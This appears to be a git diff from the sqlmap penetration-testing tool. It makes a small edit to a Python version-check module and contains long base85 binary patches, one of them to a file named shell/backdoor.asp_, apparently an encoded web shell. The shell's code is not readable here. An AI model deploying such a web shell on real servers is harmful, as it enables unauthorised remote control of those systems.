zJF8Y-eSTRxEE9cI$B^f+YUo|R_ZqT2eS1)YPI|VCIkoV`dN5uJC@^RIB$=eJ89Q&o zZ$0y1>nJyBYgJGN>?CWdL{@FFjBg`XlB!PXsWVrJN(8qxQERhFe0pndUZzxC9z?CV zt*4(p2WY}~BirT64XD+sWb)6r6YG_##n53X+n=*-01wdpqIVchyT!C?fdHIj^7SwH zeS2GfJ-&ghH`y$ak3r2oVW1)Dvo~-z11XPG5Mf>-0wp4pu{O1Om2{yy=^qa7wRmXY z8MDlCWz@2BeXEozKF_Ov71`{}7m++@6`~bv1>|Pv3*oIgsxK4HbKjRyYJz)HZ(bfs ztaB09E?a_6#+o)d`7S}IRoBP|o4~p4V6*Da3(sm29k^3jD3Kn^V;F_ZEs7N(FGjyGnPK4c|*N7x=_BWU5M zk1RqueJg8}T2t97u~gDMN$|-6q94o533~X*?zOj%Gl?ih}0Tq}svr_c&`Aa!Y6aY)0)bZId$T&9FIlyHW2>SzX8?nI`Nan?f#Va~B zU4U;M?|`AB#K;#Jj3F<(J3QSappBvHhJ07gRHw#?tf;@1(i$F!7azqwg^ADN*e{^4 z4HLX0uo-*Ta$8Gtz*S6r)>{fK8_f(FW@HvBvNOW&`WBTH zaGfue>0F1Xj5wwPAOFxCZAmGtNlt3ydKP16*DpVmYgaVnRyY}onKPQYU)4QEgu1D2 zl8aO+E3GfK-AlM6mgT9WsUfzYsA{57wU@;Qp}r|TkvkRwXa!WnmU`YKJQ?3sWxa^T z#%U4OqPnzMH&T*I$VOpJ;bHVG3F7O-Kr*|PuJLoPv0Aobj9O0jF#vBSu?@&sq{VBb zCY)kz=W4TzxP9Y%TMK5GYw6dNErdH$fsaT8&A8XLIuxD`D04FfFr#6xsx6pnC}Tz| z1STSp9dCm#VrhYcR35kjFRq(xJbu@0m06;6HqBRcC~fFx-R3~Au*r}%n0OoxWvm?B zp0ICwJ0!XoMv%?uhFLF_#TBAiTGphDYL|I>c$d&;10!pdg^s*7k*LSf=S7Ai>3>Xl zcF+&5S=UC0h8Kv9CO$RQ(+zXriJ14$mSmuUI!wkBO?$4us#5E1ZY-Bx-Ty?=p$|J= zXwHf$+ENNd!-Nj^H6VCoJ+0lUNxE)W+KuI{T|Wi#B;b@MUy;0xPU~-qc8}P&;!<9_ zus5Ws4f#F##Gp%~PZ-I^hLBU&YpHB-9|%gfxTi$e%;FmYdNYC=C)_JudZT~6IsUy}qY7p?o7 zFwwUkQI*_$Q3>xsmSkcbdS`vijC+urMPyT*#eAiPZT-%mLu6W|;!9J4iZ3}8CoDpJ zC)kl?xIw~t&4Nt}R~*HX6e^Rg%{sCs5!e$LNejCLuFXCHp`(9e^+x$R&O_wIRBo}j zlp|Gdsc9{Owm_(?Munbb;dS}cp{0qR5w9(Q*!g{D9`i|W+qzi;KFLDqt?Lua+wkNF zxYE)tGp4SVb+WXS<{NRW<4&Q)rdX1*Rm(n#_9PYZ7rt)hE`8i)cqc1)`DYkjg3Op+ zc;Ch^5Es!=`h^E5O<{cAD~3N-%|bV38zdIL#}mA`N9=# zYQ%Y!IUP8BqFP49+_!dEnU!}Cj-JswJdQ!-k&3$j{36L~;XOUoXI#8~5o;y@ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 3d882171e..f6e57d9af 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -12,7 +12,7 @@ PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) -extensions = ("bz2", "gzip", "ssl", "sqlite3", "zlib") +extensions = ("gzip", "ssl", "sqlite3", "zlib") try: for _ in extensions: __import__(_) diff --git a/shell/backdoor.asp_ b/shell/backdoor.asp_ index 720f13de61b0a2a9d5a3e7316706704cb71ba900..d126faee7dc5a9a89bf0bedd9fd38fc780106cb0 100644 GIT binary patch literal 240 zcmV3ykH$+V<3lOIHP{$ZPj z*L|_`2ku4;20Ked=n5K|!NGbLOHdal6%XeR{RhO#%@(OFTJLqH5IdI9_*jzTzbjFS z4XqJCx$CAn{TctF&f2C#uvX~s3*H8PsWG*9azT$50@#n?w_x2*hGCR#xrYWf@x(Ar zYcSYufUm?Wn~5l_zz8d{xV*~530BpEy3f-dzO%?R(?^`T17!GJcgRG45eE4HQh3|| literal 299 zcmV+`0o49IB^O3cJ|~wND(iasKF=?k(Ta9(XP=-^Lf;Nar%4rlU(^Vuy xv|Mz-c0|zFfy-1FFM$hf+@))OAv;PuPF5Fss(l@7mQ{H12wN%LcKx|C0#Ue1~$`QOq-EPCn7;FI723Ua2w(^0w;D z0l)IP%KiO(ntzP0Jq2*vY`XA~6?r2Yzf6#id?qM^7F1Urk3d`vS3x+Wr#z3`R)N&F zD%P|2;>|?H;#Apyxg`jMWVI*tph7*K^1N2T#il0o!J*1j+U;DLSF2ZP9D?W96jP^N z&)Mh+(vCPX_0-OC27}CppjPbM(StHTPK3Yy!Sczs?29zpADX=nEXR65qME@?wAjk< zN8vPl>YZzy;RLKx$*5Ynt4k`^P76+VMnaEf?{wqgcuCFJfp7X)vznWSF~Z}%=-uWv zM7os}KHcsv%Z+_}clK9pTB1$qJjGsuJ@mgtJxh|U-zaeo@ L50m|VNmBUUvJBic literal 488 zcmVS&VPRa-+()B1rmU85L*6$K<=S=De? zVOF7&S%77EgFhR8)X;WGp|x^yLNb4Ue|dmq8cR7grlS=FIhuZme|$e>c2{*W>K#um zw1zxiOMh~5lns4?{9WK<$(Y*IXU0PYYk@j`w-Ti5!w8SlaNo^-vkbgvqhhZ3G9L|G zUk!|tJ?UER5tv`Bg?lkhDc4|DS<{wsp{7kKgPWkf5HFT95}kCM{aiOZNp+1i@sB95 zMz(h+HsBYM34;u2lXfbgTr7mp)aE(W0_nkRdjv9Z-LQtDGCWo{W4ft;AFAS4};enH8G#VphK4)&M-aCGZUYJ}qp$9K}ZC&`VuM8ZBX|;dx(sr;8 zI`z3!+XM|*@0j4ih!|tU`d>aTagwVtme%kuUE43_h^6+!mWuIPdTv32`)?FnnZaIO z>!fd#ay}NM#UvE0Pdv>_sFBuq_PXbCLN}{9Of5=bBvnRp$r`MfmtqZa z7Z^@gnCD~)EghztS{)MkO3Y^zbK!P9gevVnL!OlUu_=>Q0l z5w$5g%@)YK^UOq(j0Kk;@_K?3jJ5&HpYzv4l|@45(3`L>kFlxMdPR5{$mZTPwSU)# zqE`E$-H=X-A9HCSB@00!pr7VR5YVG)oDD->jR{+s5S+(ZRjf%D{W%ZqEjr>?>fmsX z8;EzrmTGq`H!9-#u5J9DUA+xMfp&9IZP-od&c1@0S0llA7i43kxH;Z6)7_fTeoZ(URJA46I)22^T|o1E@iocBW3HPCHeSqb0r9n;?j-B3iq3DlDa%W-fxK>cz! GL+>Z9ZnBX8 literal 440 zcmV;p0Z0BlB^O3cJ|k>4G5rcEnC=%K==RZKYqQNE}%7@q7`O* zFf2dOpnrcCexYnOw8|Es7t=nYUuAM~e1Ct?e`ZU6e`S7KHl)$&o~MLMo|=tvOVEFE zl!7`rGCX{fnNDV)a;TUIi$qurR&&BTcZD!*c-BaU_qN|RWgfSFK7;BoSXYT=tCHDe zX2d9tepWDRZA0uTf@Y3@Zpk&~GaOUDm|SUtI)hK#KkQ<`uK_EfBf`zR#Qo4~ zd*Ku4v*4`rR8hxCLyaFi66(^mpxYkZbH)>;UiB zj!4O2i@`UqAZm#x^ER5xiZP(J z;XBDjGEnHZarVrCDkFa~8Jknu0i9YV_o1bWcdaU>#KW7!o#R+33^bGA8$#&sphF|Z zEQ&pNRHhE}wED96qvHdtTdG&l=^C%hj;n~A40z$_3tK{LBdM(S8f?2aa{&ZX);( zalA%FoL-VDjA#j*|;o%{SAh{S>68;^62Vo(bCYx?wo5R_6J; b3N43MA>x3q;#TI5m$Lz#K(GFOd-YKuVD0)3 literal 551 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 